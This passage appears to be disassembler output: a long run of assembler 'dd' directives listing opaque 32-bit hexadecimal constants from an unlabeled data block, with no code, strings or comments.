		dd 84F9B429h, 11ADA9A5h, 1D37A1DEh, 0AA9B08CCh,	0C301EF95h
		dd 66A979F6h, 70F3B9FCh, 0A81ABF3Bh, 146E54E5h,	78905B59h
		dd 4F2E90AEh, 104F4DD0h, 0C3094728h, 19C542A6h,	823ABFEEh
		dd 653D47F3h, 2A2D58CAh, 0F42C6EF7h, 0EB39318h,	948A185h
		dd 5F6A2AA1h, 4460F6A9h, 1CE3576Ch, 622AEF8Ch, 0FF3C6AE5h
		dd 0C729FE68h, 58A5FBB8h, 0FCE2E4F0h, 312788A7h, 0C30C6D1Ch
		dd 0C511B7F8h, 5F3C6B36h, 541880FCh, 626967BEh,	5C4F7EC7h
		dd 57E15CDh, 7DAE1DDDh,	0E1B774F8h, 0E92E7E11h,	0D07C897Eh
		dd 0AB220428h, 5FA6EB44h, 273AC9B1h, 0F983F80Ch, 8FFBF8D2h
		dd 9E04B04Bh, 0E12A5D97h, 873CE8DEh, 0C8EC9A63h, 0DF8D66C6h
		dd 38648116h, 9F369139h, 9DC43637h, 0EFAEBB40h,	73D8ED13h
		dd 0B41F073Dh, 364C5912h, 0D028BF57h, 1EA1182Dh, 0BB17D966h
		dd 0A19F716Bh, 454D6FCFh, 0CC48B9E1h, 5202B284h, 7CB1A1DBh
		dd 0FCE04D75h, 0E8EB2B54h, 40016C8Eh, 2C9CA425h, 3F3C484Fh
		dd 0D5347520h, 7972E80Ch, 113A79AAh, 0D8A95353h, 79194CC8h
		dd 0F4C6323h, 0C9AD5DF4h, 0BA20EAE1h, 77BC625h,	98EC69D7h
		dd 0D0D675D4h, 0CC6C94FDh, 0F69442Dh, 0D37101DEh, 9DF1DE4Bh
		dd 274F7225h, 0A764D0h,	0FF0F66D2h, 0E84F7657h,	0C4FB6D65h
		dd 0DB098A08h, 66C49DCBh, 313DF1A5h, 0B82818D3h, 0E97D781Bh
		dd 4BE9AFADh, 9FB75F8Ah, 0F2EFCBDCh, 0FDFA7566h, 0FDF0658Dh
		dd 6F248E07h, 0D4E91969h, 7B0CFC0Ch, 0ED4EB237h, 22AF73Fh
		dd 110C719Ch, 6829278Ah, 9CF26FE8h, 206E5C3Fh, 0FC18B826h
		dd 95A364C0h, 290D46A0h, 0E269838h, 183A6084h, 0D7071907h
		dd 0E010475h, 9C74FC2Fh, 0D739B1EDh, 44FB888Eh,	57F56D49h
		dd 1F28775Ch, 3A5745FEh, 0F7552042h, 95BDAC4Bh,	24BEB7C0h
		dd 607C1DFCh, 3372FFC9h, 7D34B36Ah, 0EA0390FBh,	0BEB7512Dh
		dd 0EFD8C4E0h, 85C488CBh, 0DE023508h, 0B9805A81h, 6F613CD9h
		dd 0B5B1362Bh, 50EC9C57h, 184D6BCAh, 7FF051E0h,	0C237E0AEh
		dd 0E251352Dh, 48B96854h, 1036F31Bh, 0CB1F7DE4h, 9D0B38E4h
		dd 4292753Fh, 0AC86C72Ah, 0FED075E7h, 0E215C524h, 0D185E90Fh
		dd 7565762Fh, 7D5B4821h, 0F9D14AEEh, 22B59BC7h,	7066958h
		dd 7D66A44Dh, 9790C3E9h, 22324638h, 0F53B3BFh, 0F2024E84h
		dd 1C37BCA8h, 960C0D32h, 7A2ADEF6h, 69A35DDBh, 0E8D893D5h
		dd 0D4EC0415h, 9C81453Eh, 0ABC1BF3Ah, 15668123h, 5F3ABF9h
		dd 0F608E1EEh, 2441EA18h, 57B6F032h, 7DBCDB3Fh,	0A9EE1CF3h
		dd 0F4D41A67h, 0CB38BC27h, 0DC933802h, 0C51B1F8Ch, 0E978674Bh
		dd 0E3F6273Ah, 0C771AF8h, 3A118BEAh, 0C895FBA9h, 21BB9539h
		dd 85B1E462h, 0FCFDBBE4h, 686D7EFEh, 0CF539ED9h, 4C3FCDD0h
		dd 4D588A34h, 0C7F3E575h, 36980C9Ch, 573B8FCBh,	0A9E5985Bh
		dd 0C3A4AC08h, 1EB44E0Dh, 41688BF2h, 2720757Eh,	0CE0C6EEDh
		dd 24BDB579h, 0E03D9974h, 3EEAB6AAh, 78296B6Bh,	23BF94DBh
		dd 2118A7A4h, 50F230Ah,	0C1EFA7D2h, 0E13F1ED7h,	0CCECA479h
		dd 426C8ECBh, 981DDBC5h, 0E2AF7F7h, 0CB0EEEEEh,	0D3C6887h
		dd 13F3C70Dh, 0C021E0Bh, 0F00A28DCh, 22B0A5DFh,	771F05ABh
		dd 43D9B4C8h, 0C2EC79ADh, 0BA021CB1h, 558D43C8h, 0EE17C96Fh
		dd 0C0CE5DEEh, 0BD94167h, 0AAD19C61h, 87D9380h,	0D5EB494Ah
		dd 2BAE186Bh, 7DD4B9A7h, 6B2C0139h, 98E1FEDDh, 6C4A5D55h
		dd 41E51F97h, 0D4044316h, 0AE34BC9Ch, 0D44BE108h, 69D83CD8h
		dd 0D3141DF4h, 560CB4A1h, 0DD242CA6h, 0B45240Fh, 0CBCD21CCh
		dd 0C1E46E7Bh, 7DC6B49Ah, 17A48304h, 0ECFE997Ah, 818C9FB8h
		dd 0D5D001E3h, 0EC3337A6h, 0DE10C813h, 458E1FCh, 0AB347C47h
		dd 6328FCC7h, 2D50D039h, 9F6AA8CDh, 0C363A09Bh,	0D41E73AAh
		dd 0DB03657Fh, 90A72E06h, 3D8B2C39h, 78B39D3Eh,	66B6547Bh
		dd 910EA337h, 25060AF6h, 1CDE417Ch, 23296ADCh, 26F881Ch
		dd 3478092Eh, 6E200C69h, 7F5B5CD2h, 3A5C1963h, 0D61B1DEFh
		dd 0C066DB2Fh, 0BC44757Fh, 17442085h, 0C03A5326h, 91BDFE72h
		dd 0FDB5C035h, 797166A3h, 0F886354Ch, 84822A50h, 0CDC76123h
		dd 0A7EFD914h, 0C2D190DCh, 79FEFE70h, 0E937710Fh, 0F5EBBD46h
		dd 0C3C21C4Dh, 9B25385Bh, 700C9CCCh, 0E02D73A7h, 4E7BC28h
		dd 4E33F11Bh, 0FB57876Dh, 182F65FFh, 377D7B81h,	71DA14C9h
		dd 8262BEEEh, 995ED13Ch, 6C40437Ch, 0B68D4280h,	0FF915AF8h
		dd 6F189FDFh, 0C9331320h, 0AAB67763h, 0F62AC716h, 0F5A9C7B5h
		dd 7BF02DF8h, 0E9644B0Bh, 0BA62EF81h, 0AD06AE0h, 56EB6E95h
		dd 0A0E4B6DAh, 7D3CBFC9h, 6ED16A5Fh, 7205ED67h,	7DFF6BB8h
		dd 873C8912h, 0A1C0DE1h, 39107367h, 0D03A9452h,	0FAD8441Ch
		dd 8E995463h, 0B5F3864Bh, 11700AF8h, 0C29F2B42h, 0CAFFCDEBh
		dd 0E9880157h, 588DC9CFh, 0E82B826Eh, 77BC6EA2h, 718C7394h
		dd 0E5021D3Eh, 4F5AB9CAh, 57F324ABh, 78ED0B7Eh,	680AC4D1h
		dd 50EBFFFEh, 31354B2Dh, 0BB225FAEh, 0A7B8345Dh, 716135FBh
		dd 5A31055Ah, 56FEE4F8h, 3985F85Ch, 0FDF48F01h,	253C4784h
		dd 1C758121h, 5D4DF046h, 38EC1738h, 1267F22Dh, 0BE2A550Eh
		dd 0A0E28A2Ah, 0FF806482h, 2B35552Ah, 0AE85BAEFh, 0B6000379h
		dd 4F1D1EC0h, 539D3E03h, 0DFD10356h, 39EDC339h,	2BF28C0Ch
		dd 29AFC45Fh, 870F422Ch, 0D6D004E0h, 0CC060172h, 1D36E63Fh
		dd 581DC63Ah, 0EA30D44Ah, 0E7E46734h, 0BDD4B2C7h, 0D5E22D3Eh
		dd 0C1E5092Dh, 8D85D999h, 7C2A45DAh, 0C9C97D2Eh, 160C79F3h
		dd 0FC04CA55h, 646A0A06h, 0DFE52901h, 0B78AF793h, 0F0E92C6Dh
		dd 0CEE9EB84h, 0DF9D31A0h
		dd 2C255C3h, 0E4044D3Dh, 242B91E0h, 0E3E906ADh,	0CE934BE4h
		dd 400E4733h, 62F5584Ah, 43F46D38h, 9DA758A4h, 3DD57933h
		dd 0D9B95810h, 45DA598h, 0BD01ABE2h, 0F82706B5h, 78976220h
		dd 6E24273Dh, 33F438C3h, 51CDBF64h, 0C0EA05CCh,	5C820654h
		dd 7012C553h, 0D6ADD2F6h, 0DCEA94BFh, 0D456A7F9h, 8C664D10h
		dd 0F4F257F9h, 6503B004h, 423636C4h, 64E088Ch, 0EE0D76B1h
		dd 29A4E7ECh, 38C57C4Dh, 77074A6Ch, 4F74E13Ah, 0D5DCDB2Eh
		dd 115ACC7Bh, 7E2F89EEh, 0FFA076E7h, 0C70F829Bh, 0DF056990h
		dd 20CEB36Bh, 6836444Dh, 0D896CCFFh, 0DDEBCA53h, 174FA7ABh
		dd 0BFDCBF5Fh, 0FBEB3AEAh, 5349360Bh, 0F9BB4AD9h, 99588A59h
		dd 0BB8C4A7Eh, 95523136h, 0B97C89A6h, 0D1296384h, 0D02E13A2h
		dd 532FC83Ah, 0C8973F91h, 0DA8A0A8h, 5618055h, 0A5346E1Eh
		dd 9284F2FAh, 0D975178Dh, 0BE5947A6h, 0B020E1C9h, 63018A92h
		dd 89A6B81Bh, 0AC4E7961h, 4EAF7E3Bh, 2B9658h, 0C0AAC573h
		dd 0DC764461h, 41E990F4h, 5613FCF7h, 4A36318Fh,	0CDAFB121h
		dd 0BA8B58D1h, 0CE0E7D2Ch, 5EBF552h, 0C8647719h, 0C04B593Ch
		dd 366AB431h, 7C31FA30h, 3F2E02F5h, 0C8DE7552h,	9CB0702Fh
		dd 271B819Fh, 0C48C73F0h, 299F7DA5h, 64696324h,	0B1D770F6h
		dd 8D6D452Dh, 0D22CAC2Ch, 0EC624EFCh, 76D513DCh, 0BD25BAE8h
		dd 498D00Ch, 0B70310EDh, 0ACDE30B8h, 0BC297CD8h, 8AB0FAF3h
		dd 0F2A78710h, 7D5BA5EEh, 78EF223Fh, 0C858457Ch, 712A436Ah
		dd 3DC10312h, 0B40B7F10h, 78B4FB3Dh, 0DA5A5635h, 8FF8E259h
		dd 0C538E83Fh, 0B63E5B6Ch, 68EAA578h, 29015E8Eh, 7428F0B5h
		dd 31C8BA9Ch, 7D2410B6h, 9C968437h, 0FCE748Eh, 7DE618A8h
		dd 0FB83AFA9h, 864C4C18h, 0A735C0Dh, 0CF14403Dh, 0DA039795h
		dd 88BC88A2h, 167E0F7Ch, 75864514h, 0D89B58DAh,	458B4C39h
		dd 7F67B8FFh, 6BB0C1E4h, 4E1EBCD4h, 0B1D52348h,	2F36E872h
		dd 0C25B9FFEh, 0D6FB458h, 2F0262EFh, 20FDB7A5h,	471AB58Ch
		dd 24CB3C22h, 78051B9Ch, 42C1B59Ah, 0DDFF660Bh,	0CC5A7EDCh
		dd 0E48D56B5h, 112760CEh, 0A1268EFh, 8C166735h,	17317638h
		dd 0A84C48F6h, 0C9347EEDh, 2B03E7F5h, 0D8FB7B28h, 3938AE2Ch
		dd 0B1ECEDABh, 0E9FBFAF0h, 0CABB90E0h, 0B0188779h, 4E30F1FAh
		dd 0FF49D6Ch, 0F5EF4E84h, 30E423C5h, 0C18229D9h, 65D0BDD1h
		dd 36EB1BEAh, 6B0F5D3Ah, 79C5710Dh, 0CE1DC835h,	0C04E1DE1h
		dd 0EB4CCB5h, 9930BB1Bh, 8716F5EBh, 0C9D8E7A9h,	0C0F7C367h
		dd 0CECE99Fh, 0CE765BA4h, 474C760Dh, 0A3E590E0h, 960FBA0Dh
		dd 0DBA2904Eh, 0CFD8814Dh, 4DA0BFA6h, 61351E2h,	51CD99D7h
		dd 7BD4555Bh, 0D9A8EA80h, 41B5B319h, 4B391A38h,	63D766Ah
		dd 0FFADB5F9h, 14EA5658h, 0E8287ABEh, 5E2D3AC8h, 0F8EA057Ch
		dd 0D37A8654h, 0B5A50129h, 0BF23E4CCh, 95E81254h, 0FF21424Eh
		dd 0B1371EAFh, 5FAD9C88h, 956503EAh, 0BAEF77E9h, 0EE0FE348h
		dd 0A803DFC1h, 53DDC17Dh, 6C272EAEh, 9C90D039h,	0E9283C5Bh
		dd 0DB366611h, 8EDC3748h, 0A931E531h, 0BE4B06Ch, 0DCF32ED9h
		dd 3A4BC6D1h, 3014487Ch, 7EEF8E99h, 0DEFC17A0h,	5FBB9018h
		dd 8E72EF7Eh, 0FB4C6BEEh, 0FC95A0E3h, 0E84D710Bh, 807B72D9h
		dd 0AABC4FA7h, 0A5BE7F96h, 6D66BD27h, 0AD634722h, 0C09DAB68h
		dd 732458B9h, 2F6C6D22h, 372EB9F9h, 0FE36D44h, 29FBE28h
		dd 3D1DFFFAh, 5276B095h, 94AFE01Ch, 7CDDAB14h, 5C959619h
		dd 6D67EFCh, 0F2F2F8FBh, 75EDE7AEh, 242A9434h, 35A95E4Ah
		dd 107D4440h, 0BC287CCFh, 9F06EE74h, 0C02813C8h, 4137AD3Ch
		dd 9A6F9133h, 39B271FCh, 0B25361Eh, 0F02E40FFh,	3F41F84h
		dd 54AE5AFEh, 34B67B58h, 2EAE69Eh, 0F473499h, 24D63898h
		dd 0E33A1AD8h, 0BDCB3B24h, 0D24C728Eh, 0B79F6226h, 0CDFF7A89h
		dd 3F027A59h, 351BB484h, 0EE1F7A1Ch, 0CA5EF687h, 0D4CEFB96h
		dd 91BDD2BFh, 0BD18035Ch, 0C2706384h, 0AD6CBF20h, 24E2C7E0h
		dd 14EE4EB6h, 3BAF5A4Ah, 0CD4687A8h, 0CCEAFE66h, 49D90668h
		dd 1FE6CC0Bh, 0C9D56DE4h, 0D2772062h, 150CD4B7h, 6B2D5E71h
		dd 558B18E2h, 44B35840h, 550BB797h, 334C7C61h, 3E66CFF9h
		dd 8FD1AFCAh, 0ECFD002Fh, 3D4D1C9Ch, 1F3603E6h,	2609E408h
		dd 71BB6487h, 5BF4698Ch, 48BC3190h, 4D648867h, 0C4D17217h
		dd 0BE3071DBh, 872D78EBh, 0BCF845FEh, 0CE216683h, 0B908158Eh
		dd 55D4B2BCh, 3F9EEC53h, 0FB1D61DDh, 642C1957h,	6C796518h
		dd 0D26CA7A2h, 0C1526364h, 0D60CFEF3h, 0C5EF51B2h, 951C1306h
		dd 0E9CE9984h, 10EBF6F1h, 0F80BF40h, 0A71AD59Ch, 0C25D557Fh
		dd 4716664Ch, 7FF2CD20h, 8D0ECD83h, 0EF5D53Ch, 9D36C835h
		dd 262AC035h, 4399CA08h, 0C2035ED5h, 0CD2E608Eh, 9F29354Eh
		dd 6E4F7ED4h, 7A016D32h, 0D1216168h, 0DB49271Bh, 0DF33D9Eh
		dd 0C344860Ch, 57F9F037h, 0CAC4199Ch, 0C3517564h, 5B1CBA6Fh
		dd 0FBE490C4h, 0A16AD8A9h, 0C5DF9CCCh, 1CED08CCh, 0CA34F7E7h
		dd 0BB3DB9F5h, 42837F66h, 1CF477E2h, 6C4C5B94h,	0AC967740h
		dd 93DDD0Bh, 24F921FDh,	0E99F3C26h, 3CA52BBAh, 3EA925E5h
		dd 0C464660Ch, 3CD1344Ch, 0F2C4BD06h, 0A0A07AE6h, 0F88FCB63h
		dd 57377343h, 0BCB57A8Ch, 0C843DC4Ch, 0FC8504EBh, 0C8DC691Eh
		dd 47EF7D25h, 1EADB98Bh, 0CF374103h, 91901935h,	0A72C9562h
		dd 16FECD7Ah, 0E4D175EEh, 8436910Dh, 547EBD34h,	14B1C043h
		dd 0E7D0D08Fh, 2CF5080Bh, 0F45A3319h, 0E45CAEADh, 0A3077222h
		dd 0C34FAAF9h, 0A6FB550Eh, 7D6C0AB9h, 10091Bh, 0ECF1D798h
		dd 4820C730h, 8304C68Ah, 3862D7F9h, 0B90986EFh,	82069DD0h
		dd 2160D739h, 36760913h, 240648h, 95BB794h, 0E586E598h
		dd 0FAD37125h, 69EC7EF4h, 0F76ABFE9h, 6F4701A9h, 84DB80EDh
		dd 674C6F90h, 0AB0BCA7Fh, 0C95DD38Fh, 0A74CB26Eh, 0B898B0EBh
		dd 0E708686Bh, 3EDBE393h, 50AF6041h, 79FC64BBh,	0C3D0B2B1h
		dd 20D7F805h, 3F045B14h, 0D36C0FF8h, 26217929h,	50272F87h
		dd 23B1B6F6h, 0D4ACBB68h, 0F157BF61h, 0F8F74E66h, 0C19F1D4Bh
		dd 8ADE240h, 0E7CECE8h,	17AF8550h, 8E7EE03Bh, 0F510B37Eh
		dd 0BEF271E3h, 4A0FA93Eh, 0E110CA9Ah, 3D071FFCh, 0D0CF8997h
		dd 595BD53Ah, 62ADDB9Ah, 9DD08EF8h, 96CB5C13h, 27C3C4Ah
		dd 0D9781100h, 7C2091AAh, 17A90102h, 9CC3695Dh,	0CBC363A2h
		dd 68671937h, 145683F7h, 92CB18C9h, 0B57BBE7h, 0A2842EFh
		dd 80344367h, 8A4D2915h, 7D890433h, 261EAC83h, 87E08563h
		dd 0A9F57919h, 43F65BE7h, 659C8A68h, 0B9D9A8CBh, 0B1B8B32Ch
		dd 296C6BF5h, 0BC33AB1Bh, 38752BECh, 0D236C7CAh, 86157D17h
		dd 8B152ED2h, 22C7F5A5h, 4FE8EC59h, 276AF737h, 846A7716h
		dd 76AF43FEh, 0CD026487h, 0F5757C39h, 0C1EA8E22h, 0C0D8E6Ah
		dd 9EBD8DEAh, 52C54FE0h, 7D5AFC3Ah, 0EBA98A28h,	55D52F97h
		dd 180FB0E3h, 0E0E5DCFCh, 7C645B06h, 0F5C7FD39h, 8557A97Eh
		dd 0CD10EDDh, 3D481FD8h, 0AD307D66h, 3F528A6Ch,	0DA008908h
		dd 2B67076Fh, 289DBC87h, 0D67C9057h, 0FFFC1D4Ch, 16E26D59h
		dd 4A4C5806h, 0BF55B671h, 0B9ED8D0h, 1FD4A91Ch,	0EBD15A62h
		dd 7D7E8491h, 0D08445B8h, 9DF6B33Fh, 95DF2F2h, 0C7546DEEh
		dd 89DA745Fh, 98FDAF67h, 64DDC8CEh, 1470CA3Ah, 5F081027h
		dd 9DF546C8h, 206432C7h, 0A97664FEh, 43057296h,	905BC773h
		dd 0AB85062Fh, 26044995h
		dd 7ADAAAAh, 0B3A630E6h, 7666759Fh, 1470B761h, 0EE64F63Bh
		dd 0C187E42Ch, 0F36464E6h, 0AD729EA0h, 830FE5Ch, 8C534E6Fh
		dd 15039F3Fh, 7EA674A2h, 8CE0892h, 9E29D16Ch, 2749D553h
		dd 12A0153Ch, 0B688C59h, 0C39BB2CCh, 48C6B07Ch,	0E69B8B7Fh
		dd 7DA28E9Fh, 0DFE4AEDFh, 7A416906h, 0C3356104h, 9EC9764Bh
		dd 0C72AA130h, 0BEB2A408h, 3B6E5AE2h, 401C90EFh, 64F40132h
		dd 0CB81D6C4h, 0CB8F697Ah, 3F098440h, 6B37A9EEh, 0DFE05F0Eh
		dd 0B0B8B4FDh, 316E6B50h, 8648E24Bh, 78D2834Dh,	6A640865h
		dd 953D2F0Ch, 0C7F6D943h, 0D497BFFBh, 0D5206041h, 177F56F8h
		dd 5DCC6447h, 66B104CBh, 793F8EB5h, 0C46A76A2h,	79DA84F8h
		dd 0F9A1BB8Dh, 0D9F04C3h, 976E5FE2h, 0C39A0CCEh, 380507D5h
		dd 38B0B0E2h, 0D0A69133h, 0DBCD08B8h, 0CF9DEA74h, 0E0A5437Eh
		dd 21D1986Dh, 33C98402h, 0FC01CAFh, 0DDE1B973h,	4E0CD884h
		dd 0C7A361B4h, 2FBAEB96h, 0D675FA92h, 5B4FE07h,	2638E1FEh
		dd 7DFCD69Ch, 0FEE66DB9h, 0BD5CFF92h, 2FA701E3h, 0A774C694h
		dd 0FE8912E4h, 3BE31E4Fh, 7016B579h, 5EECBC3Ah,	3CE87D2Ah
		dd 0E3A0CA53h, 16BF2FC0h, 471CE358h, 5848EA40h,	0B2221EE7h
		dd 7D9FC9FCh, 0A90E7DA2h, 46B68E73h, 102890C3h,	48FA3A76h
		dd 64F0D258h, 64F139B3h, 48640B3Bh, 8BDCE81Ch, 3FBB714Dh
		dd 232654Fh, 27915FB7h,	7EAF9760h, 69A93879h, 3FB44711h
		dd 6BFA88E1h, 0DF982568h, 77E09DC4h, 6471643Eh,	0C6047BE1h
		dd 58A20F94h, 5130BDB8h, 8F0F788Ch, 6A5FFC35h, 0ED7AC144h
		dd 1B3512F9h, 0BFD73A0Fh, 0B73A66F9h, 3E8C3ED2h, 99E45B7Eh
		dd 796475D0h, 0BD47D37Ch, 41848D68h, 0E0B72ACBh, 0C8C39334h
		dd 0F8E21D62h, 76004F95h, 0CAFA0CF7h, 0EA3E4539h, 0FCE0F9E9h
		dd 0F3A562F6h, 0FBD1D6A4h, 152C0A24h, 75D2F1Ah,	0EC9E27CBh
		dd 418E8ADAh, 6A47EE4Dh, 0BDF1C51Ah, 0CF36E197h, 0CE4C66DEh
		dd 5EAB2B29h, 0BC7E08A4h, 0B89067F2h, 552DAC26h, 3F8CFDECh
		dd 0C3F1D102h, 1C2F94E7h, 8B0E1E94h, 11C13295h,	0FAF8FC94h
		dd 0CEC893A8h, 0C7DB2AAFh, 0C106BA97h, 4E6C5E68h, 0C45B5936h
		dd 717D123Dh, 66F28439h, 52CF957h, 9F3A45F4h, 0F5E30838h
		dd 0FCFAF8E0h, 0B550B63Bh, 13090994h, 3D84024Eh, 0BC101C10h
		dd 482B6EACh, 0A4CB7AFh, 0D0C594A9h, 202E9031h,	4644EB42h
		dd 18BD46Dh, 24AB5BF7h,	0D5C4AB57h, 2C4DA099h, 7C5A422Ah
		dd 366417B9h, 0A9044D60h, 0F5B57C6Ah, 23008651h, 0F60A042h
		dd 0F5D8A36Fh, 3891B8D4h, 32529B0Ah, 87594C9h, 0F39A81E1h
		dd 2C865FC7h, 39179E38h, 0B4286795h, 0FC765188h, 9CF67CAEh
		dd 0A87C1334h, 271FCAEEh, 47061E88h, 0A81D8E18h, 0ABD1BB1Ah
		dd 990CF364h, 0DE30F60Fh, 0FD7CE5C4h, 59B8034Ch, 0D8849DEDh
		dd 968B7B2Ch, 0B5627325h, 0C026DB87h, 0C8A43401h, 0E341B89Bh
		dd 0AAA66D36h, 0B187A8FCh, 0D9EF0684h, 0E85E9F2Ah, 5A5D9FCh
		dd 5E1C11E1h, 8F948E7Ah, 0CC38C5D6h, 0DE54A190h, 0A558BD91h
		dd 0C43F005Ch, 0D659112Dh, 0F779112Ah, 0BEE428AAh, 18766782h
		dd 0DA2D4CA4h, 0AAC10891h, 0C5AFEB14h, 8D5E7726h, 2531F7CEh
		dd 4CFE0A94h, 2E2071A8h, 3513FA99h, 0BF1CBBB0h,	2FCB1127h
		dd 52137160h, 0EA87A7Eh, 0E5407B18h, 713AF59Eh,	1B8B2612h
		dd 182190C3h, 559353B2h, 0A48659AEh, 8250523Eh,	4C051CECh
		dd 0CE50BD33h, 28090F4Bh, 7405EAE4h, 33152569h,	74C0DE6Ch
		dd 1BE05CF3h, 0E107A086h, 0FDD30B7Fh, 47774204h, 346ABEA6h
		dd 0D2A47179h, 0DF62FC8h, 0EDBC4FDEh, 0BB1C15C6h, 2452B258h
		dd 2CD915D1h, 0DDDA9FF1h, 7A2B10DAh, 0FBAF786Dh, 0F9DB7A7Eh
		dd 0CA5ABDE0h, 0E84209F9h, 6D15C6h, 614CB4EBh, 0AC36981Eh
		dd 0FD457F5Ch, 6534B784h, 0F2D2D167h, 203445F3h, 49149C4Bh
		dd 71A07EF3h, 7C2D761Ch, 6E74EA2Fh, 6BC4A07Bh, 0EA79E5F8h
		dd 7831197Ch, 0DF550C1Eh, 0EE180924h, 67C7093Dh, 683E92DFh
		dd 40A74066h, 0FFBD6A6Dh, 8C14CDC3h, 157CBE2Ah,	0BACC5B6Fh
		dd 35A518Dh, 0F394D956h, 26A90E26h, 0E7283610h,	9F366D5Bh
		dd 4AD61155h, 0EDFF9FDh, 4A1400BBh, 3387FE99h, 0E55AF317h
		dd 0A72E7FF1h, 87637F13h, 3E937098h, 0D1371E3Bh, 0C1C57A6Dh
		dd 0FCDA07E6h, 1EDD7125h, 0A280240h, 0E6CBF83Bh, 0F5E11D6Eh
		dd 9E1736Dh, 7FCFDBD8h,	0F0F4D00Fh, 831D4FFh, 9C9D6611h
		dd 784B1A5Eh, 0A250A832h, 6FAD003Bh, 318D1DC4h,	0C4DF8FF9h
		dd 0E395B578h, 0D8097E9Bh, 0EC07E0B3h, 103C35AEh, 0C7C1501Ah
		dd 98E8B689h, 0FCAD5DE1h, 8D5EB412h, 0C3D92D4Ch, 0CC00F97Fh
		dd 3EAD90C3h, 84D87C3Ah, 38F45EEh, 5FD6B590h, 94D1372Ch
		dd 0D6014B8Bh, 2148F2F9h, 0CA599FDDh, 3FCF2B9h,	0FC9BE8CFh
		dd 0BDC156E4h, 0CA8503B6h, 0FAF9CC5Dh, 82AFFEDh, 0C4318BABh
		dd 800CFD11h, 225B7CDEh, 0C389848Ah, 70213D7Ch,	148D1B5Bh
		dd 0FCE5FADh, 54CFA15Bh, 0B4E67DCBh, 0CA0B041Eh, 15FB2C52h
		dd 1FB5567h, 26F75E8Ch,	5891EB94h, 0B10100D5h, 19C629E0h
		dd 0AD93B3F8h, 0AF449FCh, 0FFADC656h, 0D0AE641Bh, 0C64B6036h
		dd 5067707h, 2D9A873Dh,	0C447013h, 0E09BB23Ah, 1B3F8DCBh
		dd 0B63234D5h, 0FE6093D5h, 170E5B92h, 19B1522Bh, 0B76740B5h
		dd 0A2B6D8A2h, 0CBB3E5D1h, 4B11DA73h, 0F2CBF391h, 0DB0006D0h
		dd 6D247E52h, 0CE9A99CEh, 2EB57750h, 0E15295CFh, 4A46BE0h
		dd 0E41D6D84h, 5AE81C90h, 3CCEE8CDh, 5C09A81Ch,	0C505326Ch
		dd 69F3186Bh, 81F47339h, 4ACCE632h, 6A37B667h, 0EC283C60h
		dd 177694A1h, 0CA19B775h, 6AF52ED9h, 6A537ACAh,	0D624CDEFh
		dd 0AE188A2h, 7D63DC35h, 7F8BAAAEh, 0EFAA2695h,	0A9285767h
		dd 1088FC35h, 23D3B34Ah, 75BD6273h, 5782AAA7h, 0C2D279D1h
		dd 7A162DCFh, 225C291h,	0C2CBB38Fh, 0CA5207C2h,	7744F819h
		dd 13C4152Bh, 490FFF68h, 86967336h, 150AC8DCh, 77E2720Ch
		dd 69F2FC53h, 10E3AEAEh, 430E75F5h, 0A7851D26h,	806D01C8h
		dd 52B36DE3h, 9840339Ch, 0FF5D4C7h, 14C3F032h, 0E5E7908Eh
		dd 9C1971ADh, 0FC11FEC0h, 0DBD4BEEh, 7CD095E5h,	10997361h
		dd 0B762E506h, 0EBF75B12h, 5A10BF2Ch, 0DCCDF1A0h, 96914526h
		dd 0D4675CFEh, 1CF2006Dh, 5CE4D84Ch, 0F05D61B2h, 5458E57Ch
		dd 0E0FBAF63h, 0B1F3D5DCh, 0C720F711h, 828A7E1Bh, 0BBFD71A1h
		dd 43A619C8h, 85211672h, 0FA7565C8h, 2A5A6675h,	0FE727DEAh
		dd 0DDDF6097h, 0B8D4D8F8h, 0F55F7B67h, 0F18B2C12h, 0FC70904Bh
		dd 0C96C5DF7h, 69F3DECBh, 0A120036Bh, 24B235D5h, 0B2469082h
		dd 9F2FE183h, 0C96214F6h, 1E8E6679h, 0F2997DC6h, 22AD7CF7h
		dd 84D5FD84h, 38A402AAh, 3F65F8E9h, 9FA41D3Eh, 69C5A4C1h
		dd 69FAB1E2h, 0D986CB3Bh, 352DDBEh, 0B31E3BDAh,	98CDB26Ch
		dd 4E35D5F3h, 0FCB124A7h, 4FA8CBD5h, 6FC00E66h,	0FA1ADD24h
		dd 0BF0CBF1Bh, 0ECE5A4E3h, 1C6118D7h, 211A0E3Ah, 0A381A510h
		dd 2E48013Eh, 92D0C745h, 5A9C690Dh, 6A108BB1h, 54CC72FFh
		dd 0B2035898h, 8932753Ah, 0E1417150h, 3F01CADCh, 35351B9Fh
		dd 201F7864h, 1564CE82h, 0AEF65317h, 685073EEh,	0C7F11500h
		dd 4960D01Bh, 652776A7h, 0C270CC4h, 17CD9818h, 6ED45DBh
		dd 0E61CADFCh, 0A6D656A7h, 33990222h, 0E8E01971h, 68EC7914h
		dd 0E3350281h, 6336B11Bh, 35414261h, 0E8D47A69h, 7EEC15C4h
		dd 0FF054425h, 49C95108h
		dd 0D5DC6986h, 0E36FFDF7h, 75ADCC88h, 217A8AE1h, 13E6F573h
		dd 0CCEA7081h, 0AC0DFF90h, 0B41F7999h, 0DBEFE3BFh, 1104BAB3h
		dd 22049BE2h, 6CBB45F1h, 0CC42EEE3h, 0FA46671Dh, 740FB2F7h
		dd 4A1123h, 0C2EB91CDh,	7B60665Eh, 0D93DDB12h, 682E73CCh
		dd 0AD2FCD77h, 16B56887h, 783692CBh, 578E2622h,	0F57A7AB7h
		dd 5D7C5AE3h, 280380E9h, 7952198Ch, 4161046Ah, 0C109A972h
		dd 0E9D844C7h, 3815FC0Eh, 0F2B85F22h, 0D0D17EEAh, 0AAF2CA3Ah
		dd 352D74BFh, 0B59607F2h, 2D31DADFh, 4E3341AAh,	0F7CFE91Eh
		dd 6C3A57E9h, 33E05A7Bh, 59D37572h, 1491C528h, 4F794E5Fh
		dd 2DA563BFh, 0FD07901h, 38207F73h, 0E0E7F83Eh,	0B9D66056h
		dd 0F4E677F7h, 32289666h, 21EB909Bh, 0ADF8ED6Eh, 0E4CA6FFAh
		dd 7C3FB28Fh, 0AF227D02h, 0B7472084h, 1CDEE7C5h, 0C253FE09h
		dd 17719034h, 9A6FFD2Bh, 0AF5EAB0Bh, 0C0C445F7h, 8EEFF8C5h
		dd 3D387151h, 3109DA79h, 6762D42Dh, 5CB6B512h, 0DF72342Ch
		dd 0AEED41E0h, 9F35074Ch, 27C32100h, 24FA72CAh,	4525CB03h
		dd 0B5EF26EAh, 6F5AAD3Fh, 0D8EA0BF7h, 0FFBE5334h, 27A30155h
		dd 22195980h, 13A4FD71h, 2C2868EBh, 52987D1Fh, 0CCC5BCD0h
